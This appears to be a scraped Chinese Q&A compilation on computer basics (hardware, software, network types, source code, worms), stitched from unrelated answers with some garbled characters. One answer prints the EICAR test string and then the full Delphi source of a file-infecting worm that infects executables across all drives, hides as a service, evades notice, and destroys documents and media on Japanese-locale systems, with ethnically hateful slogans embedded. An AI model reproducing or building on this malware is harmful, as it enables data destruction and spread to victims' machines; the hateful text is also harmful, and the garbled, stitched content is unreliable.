❶ 各位電腦高手,我叫別人做了個網網站,下載了源代碼,現想編輯一些簡單的內容。可用sharepoit怎麼打開成網
你想編程代碼的直接用記事本或editplus軟體就行了,如果是頁面製作的話就用Dreamweaver就行了。
❷ 硬體與軟體各是什麼
硬體
一般我們看到的電腦都是由:主機(主要部分)、輸出設備(顯示器)、輸入設備(鍵盤和滑鼠)三大件組成。 而主機是電腦的主體 ,在主機箱中有:主板、CPU、內存、電源、顯卡、音效卡、網卡、硬碟、軟碟機、光碟機等硬體。其中,主板、CPU、內存、電源、顯卡、硬碟是必須的,只要主機工作,這幾樣缺一不可。
從基本結構上來講,電腦可以分為五大部分:運算器、存儲器、控制器、輸入設備、輸出設備。
下面我們將一步一步的來揭開它們的神秘面紗。
(一) 機箱
首先來看看機箱,機箱除了給計算機系統建立一個外觀形象之外,還為計算機系統的其它配件提供安裝支架。另外,它還可以減輕機箱內向外輻射的電磁污染,保護用戶的健康和其它設備的正常使用,真可稱的上是計算機各配件的「家」。目前市場上的主流產品是採用ATX結構的立式機箱,AT結構的機箱已經被淘汰了。機箱內部前面板側有用於安裝硬碟、光碟機、軟碟機的托架,後面板側上部有一個用來安裝電源的位置,除此之外,其風部還附有一些引線,用於連接POWER鍵,REST鍵,PC揚聲器,以及一些指示燈。其內部結構如圖所示
(二) 主板
主板(英文名Mainboard 或 Motherboard)是計算機系統中最大的一塊電路板,主板又叫主機板、系統板、或母板,它安裝在機箱內,也是微機最重要的部件之一,它的類型和檔次決定整個 微機系統的類型和檔次。它可分為AT主板和ATX主板。主板是由各種介面,擴展槽,插座以及晶元組組成。主板選購的基本策略: 速度、穩定性兼容性、擴充能力、升級能力主板中的晶元組是構成主板的核心,其作用是在BIOS和操作系統的控制下規定的技術標准和規范通過主板為微機系統中的CPU、內存條、圖形卡等部件建立可靠、正確的安裝、運行環境,為各種IDE介面存儲以及其他外部設備提供方便、可靠的連接介面。常見的主板如下圖
(三) CPU
CPU(Central Processing Unit,中央處理器)是計算機最重要的部件之一。是一台電腦的核心,相當於人的大腦,它的內部結構分為控制單元、邏輯單元和存儲單元三大部分。CPU的介面標准分為兩大類:一種是Socket類型,另一種是Slot類型。它的主要性能指標:主頻、前端匯流排頻 率、L1 和L2Cache的容量和速率、支持的擴展指令集、CPU內核工作電壓地址匯流排寬度、CPU的選 購。CPU的生產廠商現在主要有Inter、AMD兩家,其中Inter公司的CPU產品市場佔有量最高。目 前市場上主流的CPU有:Inter公司的Pentium III 系列、Pentium 4 系列、Celeron系列;AMD 公司的K7系列。
(四)內存
內存泛指計算機系統中存放數據與指令的半導體存儲單元。按其用途可分為主存儲器和輔助
存器。按工作原理分為ROM和RAM。ROM可分為只讀ROM、可編程可擦除ROM和可編程ROM.而RAM可RAM為靜態
和動態RAM。內存(RAM)是CPU處理信息的地力,它的計算單位是兆位元組MB,即Million Bytes。1個位元組又
由8位(bit)二進制數(0、1)組成。存儲1個英文字母需要佔用1個位元組(Byte)空間。而存儲1個漢字則需佔2個位元組空間。
早期的計算機主要運行D05系統和DOS程序。那時內存的價格是很貴的,DOS對內存的要求也不高,只
需640KB(1KB=1024B),所以那時的計算機內存配得都不大,1MB或2MB就很好。
現在內存價格大大降低了,而Windows和一些新的應用軟體對內存的需要是貪得無厭的,內存越大,
它工作得就越好,所以現在的汁算機64MB內存已算是最低配置,有錢的話,配上128MB乃至512MB也都不
等過。目前比較知名的品牌有Hyundai(現代原廠)、Kingstone(金仕頓)、Kingmax(勝創)、Samsung(三星)、Transcend(創見)和CEIL(金邦)等。
(五)硬碟
硬碟(Hard Disk)是計算機系統的重要存儲設備,其性能直接影響計算機的整體性能。硬碟是一種
固定的存儲設備,它的存儲介質是若干個鋼性磁碟片,其特點:速度快、容量大、可靠靠性高幾乎不存在磨損問題。目前常見的硬碟介面有二種,分別是IDE介面和SCSI介面。口碑不錯的硬碟有邁拓(Maxtor)、希捷(Seagate)、IBM、西部數據(Western Digtal)等。
(六)光碟驅動器
光碟驅動器(CD-ROM)就是讀取光碟上數據的工具,而光碟的特點:容量大、速度快兼容性強、碟片成本低。具前的主流為52倍速的IDE介面光碟機。
(七)軟碟機
軟盤驅動器(Floppy Disk)是電腦一個不可缺少的部件,在必要的時候,它可以為我們啟動計機,還能用它來傳遞和備份一些比較小的文件。現在一般都用3.5英寸的,古老年代用5.25英寸的,現在我們去買人家都不賣了。
(八)顯卡
顯卡是顯示器與主機通信的控制電路和介面,其作用是將主機的數字信號轉換為模擬信號, 並在顯示器上顯示出來。顯卡的基本作用就是控制圖形的輸出,它工作在CPU和顯示器之間它的 主要部件有:顯示晶元、RAMDAC、顯示內存、VGA BIOS VGA插座、特性連接器等。顯卡的三 項重要指標:刷新頻率、解析度、色深。從匯流排類型分,顯示卡有ISA、VESA、PCI、AGP四種。 現在AGP顯示卡已非常普遍。外觀如下圖所示
(九)音效卡
音效卡,想聽音樂可少不了它,電腦就是通過這個玩意傳送聲音給音箱的哦。音效卡是多媒體電腦的主要
部件之一,它包含記錄和播放聲音所需的硬體。音效卡的種類很多,功能也不完全相同,但它們有一些共同的基本功能:能錄制話音(聲音)和音樂,能選擇以單聲道或雙聲道錄音,並且能控制采樣速率。音效卡上有數模轉換晶元(DAC),用來把數字化的聲音信號轉換成模擬信號,同時還有模數轉換晶元(ADC),用來把模擬聲音信號轉換成數字信號。音效卡上有音樂數字介面(MIDI),能使用MIDI樂器,諸如鋼琴鍵、合成器和其MIDI設備。音效卡有聲音混合功能,允許控制聲源和音頻信號的大小。好的音效卡能對低音部分和高音部分進行控制。音效卡上還有一個或幾個CD 音頻輸入介面,用以接收CD-ROM的聲音採集信號。根據匯流排的不同音效卡分為兩大類,一種是ISA音效卡,另一種是PCI音效卡。主流為PCI音效卡如下圖所示
(十)顯視器
顯示器(Monitor)是計算機的主要輸出設備,沒有它,我們和計算機打交道的時候,將變成睜眼瞎。也許您的工作每天都需要面對計算機的屏幕,可是您是否真正的了解它呢?正因為這樣很多人在購買電腦時,只關心顯示器是14寸還是15寸的,而並不關心顯示器的其它性能,其實購買一台電腦最不應該省錢的就是顯示器了。目前顯視器品牌繁多,市場上常見的品牌有:三(Samsung)、索尼(Sony)、LG、優派(Viewsonic)、飛利浦(Philips)、宏基(Acer)、美格(MAG)、EMC等不下幾十種。根據顯像原理劃分,顯視器可以分為CRT顯視器(陰極射線管顯視器)、LCD顯視器(液晶矩陣平面顯示器)和等離子顯視器等。其中常見的是CRT顯視器和LCD顯視器,而LCD顯視器為未來幾年的主流。下圖為三星的一款LCD顯視器。
(十一)鍵盤
鍵盤(Keyboard)我想大家應該不陌生,我只簡單作一些介紹。鍵盤是最常用也是最主要的輸入設備,通過鍵盤,可以將英文字母、數字、標點符號等輸入到計算機中,從而向計算機發出命令、輸入數據等。自IBM PC推出以來,鍵盤經歷了83鍵、84鍵和101/102鍵,Windows95面世後,在101鍵盤的基礎上改進成
了104/105鍵盤,增加了兩個Windows 按鍵。 為了使人操作電腦更舒適,於是出現"人體鍵盤",鍵盤的形狀非常符合兩手的擺放姿勢,操作起來就特別的輕松。
(十二)滑鼠
滑鼠(Mouse)首先應用於蘋果電腦。隨著Windows操作系統的流行,滑鼠變成了必需品,更有些軟體必須要安裝滑鼠才能運行,簡直是無鼠寸步難行。從介面來講,滑鼠有兩種類型:PS/2型滑鼠和串列滑鼠。從滑鼠的構造來講,有機械式和光電式。光電滑鼠是利用光的反射來確定滑鼠的移動,滑鼠內部有紅外光發射和接受裝置,要讓光電式滑鼠發揮出強大的功能,一定要配備一塊專用的感光板。光電滑鼠的定位精度要比機械滑鼠高出許多。另外滑鼠還有單鍵、兩鍵和三鍵之分,蘋果電腦通常都使用單鍵滑鼠,兩鍵滑鼠通常叫做MS滑鼠,三鍵滑鼠叫做PC滑鼠。但滑鼠用於兩鍵或三鍵主要決定於軟體,比如對於Windows 98和Windows95及其應用軟體,滑鼠只能用於兩鍵狀態,否則電腦不認,但有些軟體可支持第三鍵,比如AutoCAD
開放分類:
IT、cpu、內存、主板、光碟機
軟體
軟體(中國大陸及香港用語,台灣作軟體)是一系列按照特定順序組織的計算機數據和指令的集合。一般來講軟體被劃分為系統軟體、應用軟體和介於這兩者之間的中間件。其中系統軟體為計算機使用提供最基本的功能,但是並不針對某一特定應用領域。而應用軟體則恰好相反,不同的應用軟體根據用戶和所服務的領域提供不同的功能。
軟體並不只是包括可以在計算機上運行的程序,與這些程序相關的文檔一般也被認為是軟體的一部分。簡單的說軟體就是程序加文檔的集合體。
軟體被應用於世界的各個領域,對人們的生活和工作都產生了深遠的影響。
目錄 [隱藏]
1 系統軟體
2 應用軟體
3 按操作系統分類
4 軟體開發
5 軟體許可
6 相關內容
7 參見
[編輯] 系統軟體
系統軟體是負責管理計算機系統中各種獨立的硬體,使得它們可以協調工作。系統軟體使得計算機使用者和其他軟體將計算機當作一個整體而不需要顧及到底層每個硬體是如何工作的。
一般來講,系統軟體包括操作系統和一系列基本的工具(比如編譯器,資料庫管理,存儲器格式化,文件系統管理,用戶身份驗證,驅動管理,網路連接等方面的工具)。
[編輯] 應用軟體
應用軟體是為了某種特定的用途而被開發的軟體。它可以是一個特定的程序,比如一個圖像瀏覽器。也可以是一組功能聯系緊密,可以互相協作的程序的集合,比如微軟的Office軟體。也可以是一個由眾多獨立程序組成的龐大的軟體系統,比如資料庫管理系統。
較常見的有
文字處理軟體 如WPS、Word等
信息管理軟體 如Assces資料庫
輔助設計軟體 如AutoCAD、Photoshop
實時控制軟體
教育與娛樂軟體
[編輯] 按操作系統分類
BeOS
BSD
DOS
Linux
Mac OS
OS/2
QNX
Unix
Windows
[編輯] 軟體開發
軟體開發是根據用戶要求建造出軟體系統或者系統中的軟體部分的過程。軟體開發是一項包括需求捕捉,需求分析,設計,實現和測試的系統工程。
軟體一般是用某種程序設計語言來實現的。通常採用軟體開發工具可以進行開發。
[編輯] 軟體許可
不同的軟體一般都有對應的軟體許可,軟體的使用者必須在同意所使用軟體的許可證的情況下采能夠合法的使用軟體。從另一方面來講,某種特定軟體的許可條款也不能夠與法律相抵觸。
未經軟體版權所有者許可的軟體拷貝將會引發法律問題,一般來講,購買和使用這些盜版軟體也是違法的。
[編輯] 相關內容
計算
計算機
計算機科學
計算機程序設計
程序設計語言
軟體工程
演算法
數據結構
軟體開發過程
軟體開發工具
軟體優化
數字圖像處理
計算機圖形學
辦公自動化
計算機網路
資料庫
電子表格
開放源代碼
自由軟體
密碼學
Wiki
網志
操作系統
軟體許可證
推薦軟體
❸ 計算機網路按照通信方式分幾類
按照每次傳送的數據位數,通信方式可分為:並行通信和串列通信。
按照數據在線路上的傳輸方向,通信方式可分為:單工通信、半雙工通信與全雙工通信。
將地理位置不同的具有獨立功能的多台計算機及其外部設備,通過通信線路連接起來,在網路操作系統,網路管理軟體及網路通信協議的管理和協調下,實現資源共享和信息傳遞的計算機系統。
從邏輯功能上看,計算機網路是以傳輸信息為基礎目的,用通信線路將多個計算機連接起來的計算機系統的集合,一個計算機網路組成包括傳輸介質和通信設備。
從用戶角度看,計算機網路是這樣定義的:存在著一個能為用戶自動管理的網路操作系統。由它調用完成用戶所調用的資源,而整個網路像一個大的計算機系統一樣,對用戶是透明的。
(3)計算機網路源代碼擴展閱讀:
計算機網路的分類與一般的事物分類方法一樣,可以按事物所具有的不同性質特點(即事物的屬性)分類。計算機網路通俗地講就是由多台計算機(或其它計算機網路設備)通過傳輸介質和軟體物理(或邏輯)連接在一起組成的。
網路協議是計算機網路的不可缺少的組成部分。協議通常有兩種不同的形式。一種是使用便於人來閱讀和理解的文字描述,另一種是使用計算機能夠理解的程序代碼。對於非常復雜的計算機網路協議,其結構應該是層次式的。分層可以帶來許多好處。
總的來說計算機網路的組成基本上包括:計算機、網路操作系統、傳輸介質(可以是有形的,也可以是無形的,如無線網路的傳輸介質就是空間)以及相應的應用軟體四部分。
❹ 計算機病蠕蟲病毒源代碼是怎麼工作的
蠕蟲病毒是一種常見的計算機病毒。它的傳染機理是利用網路進行復制和傳播,傳染途徑是通過網路、電子郵件以及U盤、移動硬碟等移動存儲設備。比如2006年以來危害及大的「熊貓燒香」病毒就是蠕蟲病毒的一種。蠕蟲程序主要利用系統漏洞進行傳播。它通過網路、電子郵件和其它的傳播方式,象生物蠕蟲一樣從一台計算機傳染到另一台計算機。因為蠕蟲使用多種方式進行傳播,所以蠕蟲程序的傳播速度是非常大的。
蠕蟲侵入一台計算機後,首先獲取其他計算機的IP地址,然後將自身副本發送給這些計算機.蠕蟲病毒也使用存儲在染毒計算機上的郵件客戶端地址簿里的地址來傳播程序。雖然有的蠕蟲程序也在被感染的計算機中生成文件,但一般情況下,蠕蟲程序只佔用內存資源而不佔用其它資源。蠕蟲還會蠶食並破壞系統,最終使整個系統癱瘓。希望能夠幫到你
❺ 高級語言編寫的程序稱為該程序必須轉換成()計算機才能執行
高級語言編寫的程序稱為源代碼,該程序必須轉換成(機器碼)計算機才能執行。
計算機裡面運行的所有東西都是用程序編出來的(包括操作系統,如Windows,還有Word等。網路游戲也一樣),而編寫程序要用到計算機語言,用計算機語言直接編出來的程序就叫源碼。
比如用VisualBasic編寫的源碼文件一般為.bas文件,而用C++編寫的一般為.cpp文件,源代碼不能直接運行,必須編譯後才能運行。源碼經過編譯處理後就可以直接在操作系統下運行了。
(5)計算機網路源代碼擴展閱讀:
源碼主要功用有如下2種作用:
1.生成目標代碼,即計算機可以識別的代碼。
2.對軟體進行說明,即對軟體的編寫進行說明。為數不少的初學者,甚至少數有經驗的程序員都忽視軟體說明的編寫,因為這部分雖然不會在生成的程序中直接顯示,也不參與編譯。
但是說明對軟體的學習、分享、維護和軟體復用都有巨大的好處。因此,書寫軟體說明在業界被認為是能創造優秀程序的良好習慣,一些公司也硬性規定必須書寫。
需要指出的是,源代碼的修改不能改變已經生成的目標代碼。如果需要目標代碼做出相應的修改,必須重新編譯。
❻ 電腦病毒代碼
不行的 得用虛擬機才可以測試病毒代碼 無需下載,把下面這段代碼復制到記事本里,保存為文本文件
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
熊貓燒香
ogram Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒體的大小
IconOffset = $12EB8; //PE文件主圖標的偏移量
//在我的Delphi5 SP1上面編譯得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六進制字元串可以找到主圖標的偏移量
{
HeaderSize = 38912; //Upx壓縮過病毒體的大小
IconOffset = $92BC; //Upx壓縮過PE文件主圖標的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主圖標的大小--744位元組
IconTail = IconOffset + IconSize; //PE文件主圖標的尾部
ID = $44444444; //感染標記
//垃圾碼,以備寫入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函數聲明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系統標記
{ 判斷是否為Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之間復制 }
procere CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 將宿主文件從已感染的PE文件中分離出來,以備使用 }
procere ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳過頭部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO結構 }
procere FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 發帶毒郵件 }
procere SendMail;
begin
//哪位仁兄願意完成之?
end;
{ 感染PE文件 }
procere InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出錯則文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己則不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //檢查PE文件頭
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE標記
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //檢查感染標記
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染過了或不是PE文件則退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主圖標(744位元組),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//頭文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//寫入病毒體主圖標之前的數據
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//寫入目前程序的主圖標
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//寫入病毒體主圖標到病毒體尾部之間的數據
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//寫入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//寫入已感染的標記
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替換宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 將目標文件寫入垃圾碼後刪除 }
procere SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性
FileHandle := FileOpen(FileName, fmOpenWrite); //打開文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //寫入垃圾碼的隨機次數
if Max < 5 then
Max := 5;
Mass := Size div Max; //每個間隔塊的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//寫入垃圾碼,將文件徹底破壞掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //關閉文件
end;
DeleteFile(PChar(FileName)); //刪除之
except
end;
end;
{ 獲得可寫的驅動器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
D := Chr(i + 65);
Str := D + ':';
DiskType := GetDriveType(PChar(Str));
//得到本地磁碟和網路盤
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍歷目錄,感染和摧毀文件 }
procere LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr '.') and
(SearchRec.Name > '..') then
Result := 0 //不是目錄
else if (SearchRec.Attr = 16) and (SearchRec.Name > '.') and
(SearchRec.Name > '..') then
Result := 1 //不是根目錄
else Result := 2; //是根目錄
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調整消息隊列,避免引起懷疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可執行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,將Base64編碼後的病毒寫入
//感染瀏覽此網頁的所有用戶
//哪位大兄弟願意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//獲取Outlook郵件地址
end
else if Ext = '.ADC' then //Foxmail地址自動完成文件
begin
//獲取Foxmail郵件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//獲取Foxmail郵件地址
end
else
begin
if IsJap then //是倭文操作系統
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件後睡眠200毫秒,避免CPU佔用率過高引起懷疑
Sleep(200);
until (FindNext(SearchRec) > 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) > 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '', Mask);
FreeAndNil(SubDir);
end;
{ 遍歷磁碟上所有的文件 }
procere InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系統
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可寫的磁碟列表
Len := Length(DriverList);
while True do //死循環
begin
for i := Len downto 1 do //遍歷每個磁碟驅動器
LoopFiles(DriverList + ':', '*.*'); //感染之
SendMail; //發帶毒郵件
Sleep(1000 * 60 * 5); //睡眠5分鍾
end;
end;
{ 主程序開始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務進程
else //WinNT
begin
//遠程線程映射到Explorer進程
//哪位兄台願意完成之?
end;
//如果是原始病毒體自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和發郵件
else //已寄生於宿主程序上了,開始工作
begin
TmpFile := ParamStr(0); //創建臨時文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一個空格
ExtractFile(TmpFile); //分離之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //創建新進程運行之
InfectFiles; //感染和發郵件
end;
end
❼ 從伺服器下載ASP網站源代碼如何布置到自己的電腦上發布
第一步:IIS的安裝
A.在控制面板中選擇「添加/刪除程序」,在出現的對話框中選擇「添加/刪除Windows組件」。
B.在出現的復選框中選擇安裝Internet信息服務(IIS),這一組件約需19MB的空間。
C.點擊「下一步」,並將Win2000安裝光碟放入光碟機,安裝程序即可將程序文件復制到硬碟中,點擊「結束」即可完成。
第二步:IIS中Web伺服器的基本配置
IIS中Web伺服器的基本配置主要包括如下幾部分:
A.打開IIS伺服器的配置窗口,選擇「開始」→「程序」→「管理工具」→「Internet服務管理器」,或者「選擇」→「控制面板」→「管理工具」→「Internet服務管理器」也可,打開的窗口。
B.在打開的窗口中滑鼠右擊「默認Web站點」,選擇「屬性」菜單。
C.在出現的「默認Web站點屬性」窗口中,選擇「主目錄」標簽,用以設置Web內容在硬碟中的位置,默認目錄為「C:\Inetpub\Wwwroot」,你可根據需要自己設置。
D.在屬性窗口處選擇「文檔」標簽,設置自己默認的首頁網頁名稱,例如「Myfirstweb.htm」,將其添加並移動到列表的最頂端。
E.確認默認的Web站點是否已經啟動,如果沒有可以滑鼠右鍵點擊「默認Web站點」,選擇「啟動」,在打開的IE地址欄中鍵入本機的IP地址,即可看到自己指定的主頁已經開始在Internet上發布了。
這里只是介紹IIS最基本的設置選項,大家還可以按照需要去具體設置上面提到的「默認Web站點屬性」,通過它來配置IIS的安全和其他一些參數。
❽ 源代碼是什麼格式
問題一:代碼是什麼格式啊? 表述不清,沒指明是什麼的代碼。
代碼就是程序員用開發工具所支持的語言寫出來的源文件,是一組由字元、符號或信號碼元以離散形式表示信息的明確的規則體系。代碼設計的原則包括惟一確定性、標准化和通用性、可擴充性與穩定性、便於識別與記憶、力求短小與格式統一以及容易海改等。源代碼是代碼的分支,某種意義上來說,源代碼相當於代碼。現代程序語言中,源代碼可以書籍或磁帶形式出現,但最為常用格式是文本文件,這種典型格式的目的是為了編譯出計算機程序。計算機源代碼最終目的是將人類可讀文本翻譯成為計算機可執行的二進制指令,這種過程叫編譯,通過編譯器完成。
比如:主流的病毒的代碼是多用 VB語言編寫的,病毒多為組合式的,其中一個文件的後綴名為 .vbs ,.vbs就是這個文件的格式
問題二:java源程序什麼格式 Java程序使用下列文件後綴:
文件類別
文件後綴
Java源文件
.java
Java位元組碼文件
.class
2.2 常用文件名(monFile Names)
常用的文件名包括:
文件名
用途
GNUmakefile
makefiles的首選文件名。我們採用gnumake來創建(build)軟體。
README
概述特定目錄下所含內容的文件的首選文件名。
3. 文件組織(FileOrgnization)
一個文件由被空行分割而成的段落以及標識每個段落的可選注釋共同組成。超過2000行的程序難以閱讀,應該盡量避免。「Jav源文件範例」提供了一個頁面布局合理的Java程序範例。
問題三:源代碼什麼意思 源代碼什麼意思
1、源代碼示例源程序是指未編譯的按照一定的程序設計語言規范書寫的文本文件。
源代碼(也稱源程序),是指一系列人類可讀的計算機語言指令。 在現代程序語言中,源代碼可以是以書籍或者磁帶的形式出現,但最為常用的格式是文本文件,這種典型格式的目的是為了編譯出計算機程序。計算機源代碼的最終目的是將人類可讀的文本翻譯成為計算機可以執行的二進制指令,這種過程叫做編譯,通過編譯器完成。
2、源程序是指未編譯的按照一定的程序設計語言規范書寫的文本文件。 源代碼(也稱源程序),是指一系列人類可讀的計算機語言指令。 在現代程序語言中,源代碼可以是以書籍或者磁帶的形式出現,但最為常用的格式是文本文件,這種典型格式的目的是為了編譯出計算機程序。計算機源代碼的最終目的是將人類可讀的文本翻譯成為計算機可以執行的二進制指令,這種過程叫做編譯,通過編譯器完成。
3、影片《源代碼》是由鄧肯・瓊斯執導,傑克・吉倫哈爾、維拉・法米加、米歇爾・莫娜漢、傑弗里・懷特、拉塞爾・皮特斯等人聯袂出演。影片於2011年4月1日在美國上映。
影片講述了一位在阿富汗執行任務的美國空軍飛行員柯爾特・史蒂文斯,醒來時發現自己正處在一輛前往芝加哥的火車上,並就此經歷的一系列驚心動魄的事件。
問題四:C語言源程序文件的後綴是什麼? C語言源程序文件的後綴是「.C」,經過編譯後生成文件的後綴是「矗exe」,經過鏈接後生成文件的後綴「.obj」
問題五:HTML源代碼是什麼? 嗯嗯、HTML是用來做網站的一種語言哈、這樣吧、你打開一個網頁、然後再網頁任何一個地方點擊滑鼠右鍵、然後選擇「查看源文件」、點擊過後將以記事本的形式打開、裡面的就全是HTML代碼哈、看看吧、希望對你有所幫助!至於怎麼使用這個就有專門的教程了哈、你到百海文庫裡面找找教程嘛、
問題六:網路游戲的源代碼是什麼格式? 沒有固定格式的,看程序員的愛好
問題七:代碼是什麼 代碼(Source code),也稱源程序,是指一系列人類可讀的計算機語言指令。在現代程序語言中,源代碼可以是以書籍或者磁帶的形式出現,但最為常用的格式是文本文件,這種典型格式的目的是為了編譯出計算機程序。計算機源代碼的最終目的是將人類可讀的文本翻譯成為計算機可以執行的二進制指令,這種過程叫做編譯,通過編譯器完成。
問題八:PHP的基本代碼格式是什麼? 開始結束,和C語言基本格式是一樣的,差別就在:變數前面必須家$,區分大小寫
問題九:請問用C語言編寫程序的格式是什麼? #includeint main(){ char i; ------------------------return 0;} -------------------輸入輸出頭文件不能缺少、否則不能調用輸入輸出函數、還有其他函數--------------------要有main函數、可以嘩void main 沒有返回值的 也可以是int main 但是返回值是return 0;
問題十:網店模板模塊源代碼一般格式什麼開頭什麼結尾 標簽這個是互聯網網頁的組織形式,但是淘寶的自定義區域一般不需要加的,淘寶的自定義模塊頭都已經寫了這些默認的標簽的,所以不需要加的
2,自定義模塊直接可以添加布局也是可以的,通用的布局方式
❾ 計算機病蠕蟲病毒源代碼是怎麼工作的
